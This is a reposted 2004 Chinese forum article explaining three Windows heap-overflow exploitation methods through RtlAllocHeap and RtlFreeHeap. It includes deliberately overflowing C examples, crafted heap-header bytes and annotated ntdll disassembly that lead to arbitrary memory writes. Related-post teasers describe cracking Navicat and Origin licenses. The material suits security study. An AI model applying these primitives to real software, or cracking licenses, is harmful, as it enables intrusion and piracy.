[转载]总结windows下堆溢出的三种利用方式 z

glibc 堆学习(一)-基础概念 在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。 阅读详情

创建时间:2004-04-08
文章属性:转载
文章提交: watercloud (watercloud_at_xfocus.org)

原文由Leven发在网络编程版:
https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=34455&p=122380


总结windows下堆溢出的三种利用方式

1.利用RtlAllocHeap
这是ISNO提到的,看这个例子

main (int argc, char *argv[])
{
   char *buf1, *buf2;
   char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

   buf1 = (char*)malloc (32); /* 分配两块内存 */
   memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

   buf2 = (char*)malloc (16);

   free (buf1);
   free (buf2);

   return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453   8901                 MOV       [ECX],EAX
001B:77FCC455   894804               MOV       [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于 format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
   char *buf1, *buf2;
   char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

   buf1 = (char*)malloc (32); /* 分配两块内存 */
   buf2 = (char*)malloc (16);

   memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

   free (buf1);
   free (buf2);

   return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

     //
     //   This field gives the size of the current block in allocation
     //   granularity units.   (i.e. Size << HEAP_GRANULARITY_SHIFT
     //   equals the size in bytes).
     //
     //   Except if this is part of a virtual alloc block then this
     //   value is the difference between the commit size in the virtual
     //   alloc entry and the what the user asked for.
     //

     USHORT Size;

     //
     // This field gives the size of the previous block in allocation
     // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
     // equals the size of the previous block in bytes).
     //

     USHORT PreviousSize;

     //
     // This field contains the index into the segment that controls
     // the memory for this block.
     //

     UCHAR SegmentIndex;

     //
     // This field contains various flag bits associated with this block.
     // Currently these are:
     //
     //   0x01 - HEAP_ENTRY_BUSY
     //   0x02 - HEAP_ENTRY_EXTRA_PRESENT
     //   0x04 - HEAP_ENTRY_FILL_PATTERN
     //   0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
     //   0x10 - HEAP_ENTRY_LAST_ENTRY
     //   0x20 - HEAP_ENTRY_SETTABLE_FLAG1
     //   0x40 - HEAP_ENTRY_SETTABLE_FLAG2
     //   0x80 - HEAP_ENTRY_SETTABLE_FLAG3
     //

     UCHAR Flags;

     //
     // This field contains the number of unused bytes at the end of this
     // block that were not actually allocated.   Used to compute exact
     // size requested prior to rounding requested size to allocation
     // granularity.   Also used for tail checking purposes.
     //

     UCHAR UnusedBytes;

     //
     // Small (8 bit) tag indexes can go here.
     //

     UCHAR SmallTagIndex;

#if defined(_WIN64)
     ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829   8A4605               MOV       AL,[ESI+05]   //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C   A801                 TEST       AL,01       //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E   0F84A40E0000         JZ         77FCD6D8       //不含则跳转。这里不能跳
001B:77FCC834   F6C207               TEST       DL,07      
001B:77FCC837   0F859B0E0000         JNZ       77FCD6D8
001B:77FCC83D   807E0440             CMP       BYTE PTR [ESI+04],40     //esi+4是否大于0x40
001B:77FCC841   0F83910E0000         JAE       77FCD6D8             //大于等于则跳转,这里不能跳
001B:77FCC847   834DFCFF             OR         DWORD PTR [EBP-04],-01
001B:77FCC84B   A8E0                 TEST       AL,E0             //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D   754A                 JNZ       77FCC899             //只要含有一个就跳,这里不重要
001B:77FCC84F   8B8F80050000         MOV       ECX,[EDI+00000580]
001B:77FCC855   85C9                 TEST       ECX,ECX
001B:77FCC857   7440                 JZ         77FCC899             //这里必然会跳

关键点二
001B:77FCC899   C745FC01000000       MOV       DWORD PTR [EBP-04],00000001    
001B:77FCC8A0   F6C301               TEST       BL,01
001B:77FCC8A3   750F                 JNZ       77FCC8B4             //这里必然会跳
001B:77FCC8A5   FFB778050000         PUSH       DWORD PTR [EDI+00000578]
001B:77FCC8AB   E853C8FBFF           CALL       ntdll!RtlEnterCriticalSection
001B:77FCC8B0   C645D401             MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4   F6460508             TEST       BYTE PTR [ESI+05],08     //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8   0F858BF2FFFF         JNZ       77FCBB49             //含有则跳,这里要跳

关键点三
001B:77FCBB49   83C6E8               ADD       ESI,-18             //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C   89759C               MOV       [EBP-64],ESI
001B:77FCBB4F   8B06                 MOV       EAX,[ESI]
001B:77FCBB51   894598               MOV       [EBP-68],EAX
001B:77FCBB54   8B7604               MOV       ESI,[ESI+04]
001B:77FCBB57   897594               MOV       [EBP-6C],ESI
001B:77FCBB5A   8906                 MOV       [ESI],EAX             //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
   char *buf1, *buf2;
   char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

   buf1 = (char*)malloc (32); /* 分配两块内存 */
   buf2 = (char*)malloc (16);

   memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

   free (buf1);
   free (buf2);

   return 0;
}

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一,设法跳到关键点二

关键点二
001B:77FCC899   C745FC01000000       MOV       DWORD PTR [EBP-04],00000001
001B:77FCC8A0   F6C301               TEST       BL,01
001B:77FCC8A3   750F                 JNZ       77FCC8B4
001B:77FCC8A5   FFB778050000         PUSH       DWORD PTR [EDI+00000578]
001B:77FCC8AB   E853C8FBFF           CALL       ntdll!RtlEnterCriticalSection
001B:77FCC8B0   C645D401             MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4   F6460508             TEST       BYTE PTR [ESI+05],08     //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8   0F858BF2FFFF         JNZ       77FCBB49             //含有则跳,这里不能跳
001B:77FCC8BE   0FB706               MOVZX     EAX,WORD PTR [ESI]
001B:77FCC8C1   8945D0               MOV       [EBP-30],EAX
001B:77FCC8C4   F6470C80             TEST       BYTE PTR [EDI+0C],80
001B:77FCC8C8   7515                 JNZ       77FCC8DF
001B:77FCC8CA   6A00                 PUSH       00
001B:77FCC8CC   8D45D0               LEA       EAX,[EBP-30]
001B:77FCC8CF   50                   PUSH       EAX
001B:77FCC8D0   56                   PUSH       ESI
001B:77FCC8D1   57                   PUSH       EDI
001B:77FCC8D2   E8EA000000           CALL       77FCC9C1             //进入这个CALL

关键点三
001B:77FCC9C1   55                   PUSH       EBP
001B:77FCC9C2   8BEC                 MOV       EBP,ESP
001B:77FCC9C4   53                   PUSH       EBX
001B:77FCC9C5   56                   PUSH       ESI
001B:77FCC9C6   8B750C               MOV       ESI,[EBP+0C]
001B:77FCC9C9   8B5D08               MOV       EBX,[EBP+08]
001B:77FCC9CC   57                   PUSH       EDI
001B:77FCC9CD   8BFE                 MOV       EDI,ESI             //ESI指向buf1的起始地址
001B:77FCC9CF   0FB74602             MOVZX     EAX,WORD PTR [ESI+02]     //将buf1之前的堆的长度放入EAX
001B:77FCC9D3   C1E003               SHL       EAX,03             //乘以8得到实际大小
001B:77FCC9D6   2BF8                 SUB       EDI,EAX             //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8   3BFE                 CMP       EDI,ESI
001B:77FCC9DA   740A                 JZ         77FCC9E6
001B:77FCC9DC   F6470501             TEST       BYTE PTR [EDI+05],01     //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0   0F8498E9FFFF         JZ         77FCB37E             //不能跳
001B:77FCC9E6   F6460510             TEST       BYTE PTR [ESI+05],10     //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA   750F                 JNZ       77FCC9FB             //不能跳
001B:77FCC9EC   8B4510               MOV       EAX,[EBP+10]
001B:77FCC9EF   8B00                 MOV       EAX,[EAX]             //buf1的堆的长度
001B:77FCC9F1   F644C60501           TEST       BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6   8D3CC6               LEA       EDI,[EAX*8+ESI]         //EDI指向buf2的起始地址
001B:77FCC9F9   7409                 JZ         77FCCA04             //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB   8BC6                 MOV       EAX,ESI
001B:77FCC9FD   5F                   POP       EDI
001B:77FCC9FE   5E                   POP       ESI
001B:77FCC9FF   5B                   POP       EBX
001B:77FCCA00   5D                   POP       EBP
001B:77FCCA01   C21000               RET       0010
001B:77FCCA04   0FB70F               MOVZX     ECX,WORD PTR [EDI]         //ECX即buf2的堆的长度
001B:77FCCA07   03C8                 ADD       ECX,EAX             //加上buf1的堆的长度
001B:77FCCA09   81F900FE0000         CMP       ECX,0000FE00         //是否大于0xfe00
001B:77FCCA0F   77EA                 JA         77FCC9FB             //大于则跳,这里不能跳
001B:77FCCA11   807D1400             CMP       BYTE PTR [EBP+14],00
001B:77FCCA15   0F85FB210000         JNZ       77FCEC16
001B:77FCCA1B   8A4705               MOV       AL,[EDI+05]         //AL即buf2的flag
001B:77FCCA1E   2410                 AND       AL,10             //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20   A810                 TEST       AL,10
001B:77FCCA22   884605               MOV       [ESI+05],AL         //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25   754B                 JNZ       77FCCA72             //含则跳,这里不能跳
001B:77FCCA27   57                   PUSH       EDI
001B:77FCCA28   53                   PUSH       EBX
001B:77FCCA29   E80CCBFBFF           CALL       77F8953A
001B:77FCCA2E   8B4F0C               MOV       ECX,[EDI+0C]         //将buf2的0x0c偏移给ECX
001B:77FCCA31   8B4708               MOV       EAX,[EDI+08]         //将buf2的0x08偏移给EAX
001B:77FCCA34   3BC1                 CMP       EAX,ECX
001B:77FCCA36   8901                 MOV       [ECX],EAX             //这里发生异常
001B:77FCCA38   894804               MOV       [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

001B:77FCC8B8   0F858BF2FFFF         JNZ       77FCBB49

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。

Leven 编辑于 2004-03-22 19:52
---
晕倒中

<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
Windows下堆保护机制原理及其绕过 1>.堆刚初始化,所以我们申请的堆是从FreeList[0]中申请的,从FreeList[0]中拆卸下来的chunk在分配好后将剩余的空间新建一个chunk插入到FreeList[0]中,这样的话,h1后面就会有一大段空闲的空间。.后面的chunk块首被覆盖了,当h2再申请空间的时候,程序就会从破坏了的chunk中申请空间,并将剩余的空间新建为一个chunk并插入到FreeList[0]中。大家考虑一下,如果说,我们将旧chunk的Flink和Blink都覆盖掉了,那么会发生什么情况? 阅读详情

相关推荐

Windows下堆溢出三种利用方式深度解析与实战

Start[开始运行程序] --> Alloc[堆上分配TestClass对象]Alloc --> Read[读取payload.bin]Read --> Copy[strcpy触发溢出]Copy --> Overwrite[覆盖vptr为0x00405000]Overwrite --> Call[t->trigger()调用]Call --> Jump[CPU跳转至0x00405000]Jump --> Exec[执行shellcode]

weixin_29009401的博客 1221

nt内核里的堆管理(3):RtlFreeHeap

有了前面的介绍,堆管理的大体框架已经清楚了,但为了使内容完整,我们还是需要看看释放内存时具体都干了些什么。gussing.cnblogs.com 函数RtlFreeHeap接受一个PVOID的参数作为内存地址,却不需要指定内存的大小。这是一个很有趣的地方,malloc,HeapAlloc等申请内存的函数都会指定所需内存的大小,但相应的free函数和HeapFree函数都不需要指定大小。我在面试应...

weixin_30384217的博客 402

Xtract or Ucfyber的最条理的整理入门级教程

XTRACT可以对任意截面进行全过程截面分析。工程中常用来分析各种截面(如异形柱、组合截面等)的非线性特征点及承载力校核。 xtract主要思路也是根据各种材料本构关系,基于平截面假定,用fiber划分截面进行全过程非线性分析。......

→★佐佑思维★← 8402

总结windows下堆溢出的三种利用方式

转自安焦总结windows下堆溢出的三种利用方式1.利用RtlAllocHeap这是ISNO提到的,看这个例子main (int argc, char *argv[]){??char *buf1, *buf2;??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/x08/x00/x11/x11/x11/x1

justaseeker的专栏 1332

Mac---安装Navicat

把这个填充好的字符串放入刚才打开的RSA在线加解密的网站中的第二个框框(替换之前的请求码),第一个框框不动(还是之前第10步骤中的私钥),点击RSA私钥加密,这时会得到一个加密的字符串,这个就是激活码。{“K”:“你的K值”, “N”:“52pojie”, “O”:“52pojie.cn”, “DI”:“你的DI值”, “T”:你的时间戳}链接: https://pan.baidu.com/s/1mEVY4hnKdktg-p7DBIfD7A 提取码: twwg。Navicat会弹出一个对话框,点击“注册”

weixin_53970868的博客 1万+

科研绘图神器Origin中文版安装后还是英文?手把手教你三步搞定界面汉化

本文详细介绍了Origin软件安装后界面仍显示英文的解决方案,包括基础语言切换、注册表修改和序列号破解三种方法。通过逐步指导,帮助用户快速实现界面汉化,提升科研绘图效率。特别针对教育版用户提供了有效的语言锁定解除方案。

weixin_42524708的博客 1140

WinAPI学习 - PostMessage、RtlFreeHeap、PeekMessage、GetTickCount()

今天逆向,遇到这些函数,大概搜查了些资料,大概如下。 1、PostMessage 函数原型:B00L PostMessage(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); 这个函数大概将一个消息放入(寄送)到与指定窗口创建的线程相联系消息队列里,不等待线程处理消息就返回,是异步消息模式。消息队列里的消息通过调用GetMessage和Peek

BetaBin 4303

解决若依Vue3前后端分离---路由切换时显示白屏

解决基于Vue3若依前后端分离项目中出现的路由正常切换但是就是不显示数据的问题,也就是不发起网络请求的问题。

简单点的博客 1606

Windows内存漏洞——堆溢出漏洞的分析利用&格式化字符串漏洞及利用分析

堆溢出漏洞和格式化串漏洞的原理利用以及相关知识

theglasssky的博客 1176

LibreNMS实战:5分钟搞定Docker部署与中文配置(附常见问题排查)

本文详细介绍了如何使用Docker在5分钟内快速部署LibreNMS,并完成中文界面优化。从环境准备到容器启动,再到中文语言包安装和系统配置调整,提供了完整的实战指南。同时,文章还包含常见问题排查和性能调优建议,帮助用户高效搭建网络监控系统。

e1f2g的博客 1282

Xilinx FPGA平台GTX简易使用教程(五)GTX收发测试及示例工程介绍

GTX IP配置完了,你不得搞个回环测试一番?

数字IC/FPGA杂货铺,找一找,或许有你想要的~ 1万+

浅谈栈溢出漏洞利用技术——学习笔记

文章目录基础知识寄存器:重要寄存器栈:一种先进先出的数据结构函数调用栈溢出的保护机制栈上的数据被当做指令来执行让攻击者难以找到shellcode地址检测Stack Overflow(栈溢出)栈溢出的利用方法现代栈溢出利用技术基础:ROPCTF中ROP技术的常见套路利用signal机制的ROP技术(SROP)没有binary怎么办(BROP)BROP的目标BROP的条件劫持栈指针(Stack Piv...

楠木种子的三亩地 1673

我的GIT练习ONE

Git 是一个分布式版本控制及源代码管理工具;Git 可以为你的项目保存若干快照,以此来对整个项目进行版本管理每一次的练习,都是对自身知识的巩固,以及对自身知识的一个测试。

是个非常热爱生活、乐观、奋斗、努力的逗比青年 8872

Windows堆

堆(HEAP)的分配,使用,回收都是通过微软的API来管理的,最常见的API是malloc和new。在往底层走一点呢,这两个函数都会调 用HeapAlloc(RtlAllocateHeap)。同样的相关函数还有HeapFree用来释放堆,HeapCreate用来创建自己的私有堆。 下面是这些函数的调用链: HeapCreate->RtlCreateHeap->ZwAllocateVirtualMemory (这里会直接申请一大片内存,至于申请多大内存,由进程PEB结构中的字段觉得,HeapSe

南宫封清的博客 1714

YOLO26训练自己的数据集,从代码下载到实例测试 (含YOLO26网络结构图)

在Windows10上配置CUDA环境教程2026年1月14日,YOLO26是最新发布的计算机视觉模型。支持多种任务,包括目标检测、实例分割、图像分类、姿态估计、有向目标检测以及物体跟踪等。以上就是YOLO26训练自己数据集的全部过程啦,欢迎大家在评论区交流~

Limiiiing的博客 6546

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

堆溢出利用

堆的性质 是在程序运行动态分配内存(需要参考用户的反馈) 使用malloc函数或者new函数申请 堆的读,写,释放都是通过堆指针来完成 使用完成后,将堆指针交给释放函数回收这片内存 增长方向由低地址到高地址 堆的数据结构与管理 ...

每昔的博客 3410

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

windows堆栈溢出利用的七种方式

文本由 www.169it.com 收集 windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit不具有通用性。windows版本不同,而exploit使用了很多

u011809276的专栏 1458

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

举个小栗子说明溢出漏洞利用原理及其检测原理

转载于绿盟科技博客@举个小栗子说明溢出漏洞利用原理及其检测原理 一、溢出漏洞利用概述 溢出漏洞利用,是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为“可执行”代码来运行。从而使得攻击者可以不受安全措施的约束进行攻击行为。 下面以栈布局说明溢出漏洞利用过程。 正常栈布局 RBP

mouse 1048

【汇编】mov和add指令、确定物理地址的方法、内存分段表示法

在汇编语言中,mov(Move)和add(Add)指令是两个基本而重要的操作码,用于在寄存器和内存之间传递数据以及执行加法运算。这两个指令为程序员提供了对计算机底层数据处理的直接控制,是编写有效和高性能汇编代码的关键。mov指令用于将数据从一个地方移到另一个地方,可以是寄存器之间的传递,也可以是从内存到寄存器的加载或者反之。这种直接的数据传递操作是汇编语言中基本的操作之一,为程序提供了对数据的灵活控制。add指令则执行加法运算,允许程序员将两个操作数相加,并将结果存储在目标操作数中。

m0_62599305的博客 3800

堆溢出漏洞利用:从零到Root的通俗指南

本文介绍了堆溢出漏洞的原理与利用技术。主要内容包括:1) 堆内存管理机制分析,对比栈与堆的区别,解释glibc的ptmalloc2管理方式;2) 堆溢出利用原理,重点讲解unlink攻击技术及其绕过现代防护机制的方法;3) 实战演示堆溢出漏洞利用过程,包括环境准备、信息收集和利用链构造;4) 讨论现代高级利用技术和防御措施。文章强调技术研究应遵循道德规范,仅用于提升系统安全性,并在法律授权范围内进行渗透测试。最后提出安全性设计思考题,呼吁平衡性能与安全。

fearhacker的专栏 1292

《0day》-5-堆溢出

第 5 章 堆溢出利用 文章目录第 5 章 堆溢出利用5.1 堆的工作原理5.1.1 Windows 堆的历史5.1.2 堆与栈的区别5.1.3 堆的数据结构与管理策略堆块堆表空表快表堆的管理策略堆块分配堆块释放堆块合并小结5.2 在堆中漫游5.2.1 堆分配函数之间的调用关系5.2.2 堆的调试方法5.2.3 识别堆表5.2.4 ...

Starr 2048

堆栈溢出漏洞:原理、利用与防范

堆栈溢出漏洞是一种常见的安全漏洞,通常发生在程序使用不安全的字符串处理函数时。当程序尝试将超过预定大小的数据写入栈上分配的内存区域时,就会导致堆栈溢出。这种漏洞可能被攻击者利用,以覆盖返回地址或其他重要数据,从而控制程序的执行流。堆栈溢出漏洞是一种严重的安全风险,攻击者可以利用它来控制程序的执行流。通过使用安全的字符串处理函数和启用多种安全机制,可以有效地防止此类漏洞的发生。定期使用工具如checksec来检查程序的安全特性,将有助于提高系统的整体安全。

weixin_42130310的博客 4399

Windows堆栈溢出全面解析

 关于堆栈溢出,前面写的多期文章都是关于具体漏洞分析和ShellCode的编写技术,而有朋友希望我能写点入门级的文章。今天,我就和大家一起,来全面解析Windows下堆栈溢出的具体细节及利用过程。过程虽然简单,但自己又走了一遍,才发现里面的确有一些值得注意的地方。废话少说,我们直接切入正题!基础知识首先简单讲两个基础知识,一是函数调用时堆栈的变化;二是函数调用约定对函数调用及返回时堆栈变化的影响。

1340
上一篇: [转载]windbg使用 z
下一篇: [转载]利用IAT hook实现windows通用密码后门 z
KataDoc360
博客等级 码龄18年 65粉丝 16原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值